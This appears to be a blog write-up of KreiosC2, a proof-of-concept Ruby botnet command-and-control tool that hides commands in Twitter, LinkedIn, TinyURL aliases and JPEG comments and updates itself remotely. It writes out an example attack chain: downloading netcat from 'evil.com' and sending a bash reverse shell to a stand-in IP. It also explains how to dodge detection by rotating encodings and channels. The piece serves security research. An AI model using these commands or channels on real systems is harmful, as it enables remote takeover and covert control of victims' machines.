How It All Works
Rather than just giving theory I took these ideas and created a small proof of concept. It has a very small command set, just four commands, and is written in Ruby so hopefully won't be turned malicious any time soon but I hope it demonstrates what is possible.
To install KreiosC2, download it and untar it into a directory. Some of the languages and channel files need editing to set locations or shared information, all these will be at the top of the file and will be commented. You will need Ruby installed and a number of Gems. Rather than try to work out which are needed for this app here is a list of all the ones I have installed, if you install them all it should work fine!
- crack (0.1.1)
- echoe (3.1.1)
- highline (1.5.0)
- hoe (1.12.1)
- hpricot (0.8.1)
- http_configuration (1.0.2)
- httparty (0.4.2)
- nokogiri (1.2.3)
- rake (0.8.4)
- rcov (0.8.1.2.0)
- rubyforge (1.0.3)
- rubyzip (0.9.1)
Both apps will take a --help
and give their parameters, the bot is fairly simple, it just starts up, scans for commands then sleeps, wakes and scans again. By default it won't process any messages prior to the current time, this is useful if you want to start fresh while testing so you can ignore all your old stuff. To have it process all commands it finds add the --previous
option.
The commander can be asked to send these commands:
- exec
- Execute the given command
- get
- Download the specified file
- language
- Download and use a new language file
- ping
- Ping the specified IP address (not domain name, I was playing with input validation)
These commands work best when put together into something like the following set of commands:
- ping 1.2.3.4 - Get the bot to report home and check it has Internet access
- get http://www.evil.com/nc - Download netcat
- exec nc 1.2.3.4 6666 -e /bin/bash - Send a shell home
Channels, Languages And Dynamic Updates
The big new feature added in version 2 was the ability to have KreiosC2 update itself on the fly. The first idea for this was to change its control language however with version 3 it is now also used to change the control channel. The feature isn't just limited to this though, it can be used to update any other part of the application remotely without interrupting its operation.
Languages
First, lets look at the languages, these are built in two parts, the file used by the commander to encode the commands and the file used by the bot to decode them.
KreiosC2 comes with the following languages:
Default
The same language used in version 1, commands are identified by messages starting with :cmd followed by the command.
English
Commands are written using English phrases, for example "look at 1.2.4.4" will ping the address 1.2.4.4. The messages also have a checksum appended to them to stop real tweets from slipping in. The checksum is made up from the last 10 bytes of an MD5 of the message.
Encoded
The encoded language is simply the default language base64 encoded. Encoding is not encryption but this adds a little obfuscation to the tweet.
Encrypted
This language combines bits from all three other languages, the language from Default, the checksum from English and the base64 encoding from Encoded. The tweet is built up from the command followed by the first 10 characters of a SHA1 of the message, this is then encrypted using AES and finally base64 encoded so it can be tweeted as an ASCII message.
By default both bot and commander speak in the Default language.
Control Channels
KreiosC2 was initially developed to channel all its commands over Twitter but with version 3 it can now also use TinyURL and JPEG files to hide its messages.
The LinkedIn API allows you read all the users information but only allows write access to the status field so commands are passed through here. The commander sets the status to the command and the bots read it back out. If the API is extended to allow other fields to be written to then the channel can be extended to split commands over multiple fields to obscure commands or to allow commands longer than the maximum length.
Commands sent over Twitter are currently sent as tweets to a single user account which is monitored by the bot. To make this harder to spot the messages could be posted from random accounts and the bot monitor the public timeline.
TinyURL
The TinyURL service allows users to specify their own shortenings when submitting a URL. This is abused to create predictable aliases for URLs which contain commands. The process works as follows:
- The current time is rounded up to the next 10 minute boundary
- The commander has a list of salts, each salt is combined with the timestamp, SHA1 hashed and trimmed down to 10 characters, this becomes the alias
- The command to send is generated by the current language
- A URL is created by using a known base URL, a directory name based on the current timestamp and a querystring of the command to send, for example:
http://kreiosc2.com/1257708517/?:cmd ping 192.168.0.8
- The URL is passed to TinyURL to shorten and the first alias calculated is passed as the preferred alias
- If the alias is accepted the process is over, if not then the other aliases are worked through in order till one is accepted or till they all fail.
- If they all fail the system exits and the commander should try again in the next 10 minute window
The bot calculates the aliases in the same way as the commander and periodically polls the TinyURL preview feature to see if the aliases exist, if one does then it retries the URL the alias points to, checks that the URL matches the pattern it expects, shared domain name, integer, querystring and if so passes it to the language to process.
This process took a bit of working out so I need to explain some steps.
- The timestamp is rounded up just to handle clock sync between bot and commander.
- Salts allow multiple aliases to be used in a single clock sync window
- The timestamp is added to the URL to create a unique URL to be shortened. TinyURL checks to see if it has already shortened a given URL and if so it gives out the existing alias rather then the requested one. When this happens the command is lost because the bot is looking for the requested one. This allows the same command to be sent multiple times but each time have a different URL to shorten.
- Sometimes aliases already exist so a check is made to see if the alias requested was accepted and points to the URL that we want, not another
JPEG
JPEGs were recently used as part of a malicious C&C channel but the person who implemented the system just used a JPEG header followed by their command so there was no real image to be viewed. My script uses a normal JPEG file and stores the command in the comment field leaving a normal looking image. If the command is encoded/encrypted even a brief examination of the image in a hex viewer won't reveal anything untoward.
The channel is implemented in a basic way, the command is injected into an image which must then be manually uploaded to a pre-defined website, the bot periodically requests that image and checks it for commands. This could be expanded by automatically uploading the images or having them dynamically generated by the website. Also having multiple images spread over multiple sites would make tracking commands harder.
Making a Dynamic Change
Both languages and channels use the same method for sending across new changes, this is by storing the update file on a web server and asking the bot to retrieve it and start using it by sending either the language or channel command. For the bots to know where to find the file a TinyURL is created and the page part of the URL is passed from the commander to the bot as a parameter to the language command.
For example, if I want to use the Encoded language I first need to upload it to a public facing web server. I then take the URL, for example www.digininja.org/kreios/encoded_language.rb, and generate a TinyURL for it, www.tinyurl.com/ABCDEF. Finally I take the page part of the URL, ABCDEF, and that is the parameter I pass to the language command, ./kreiosc2_command.rb --language ABCDEF
.
As channels use the same method for updates they also uses the language command to send an update. I did consider changing the parameter to something new but didn't want change something that is already in place. I may change this with the next version if it does cause confusion.
Once the change language command has been sent out the commander must start speaking in the new language or using the new channel or its messages will be ignored by the bot. To do this use either the --use-language argument which takes as a parameter the name of the command language file or the --channel command which similarly takes the channel filename as a parameter. For example, if the bot was working in English I would need to use --use-language english_command_language.rb
. The bot can also be started with the --use-language and --channel commands to start it on a language or channel other than default.
Whats The Point?
The obvious one is that when you think Twitter is on to your secret channel and are likely to start blocking messages you simply change your language and they are back to step 1 trying to spot the messages again. If Twitter can get a handle on what to look for they will be able to use the same pattern matching the bot is using to spot messages and filter them out of the feed. By changing the language periodically they will have to continuously do work to find and implement new patterns. Also, by using a language like English Twitter's job can be made harder as they have to be careful to filter out only the bad messages so as not to disrupt legitimate users.
By changing the channel you can move from one system to another whenever you need to, for example if Twitter is having problems it is an easy job to move across to TinyURL for a while then return after the problems are sorted out.
Another use is to extend the bots functionality. A new language file can be created which simply adds new functionality to the existing language, for example adding a port scan command to Default, changing the Twitter user the bot is watching or changing the update frequency.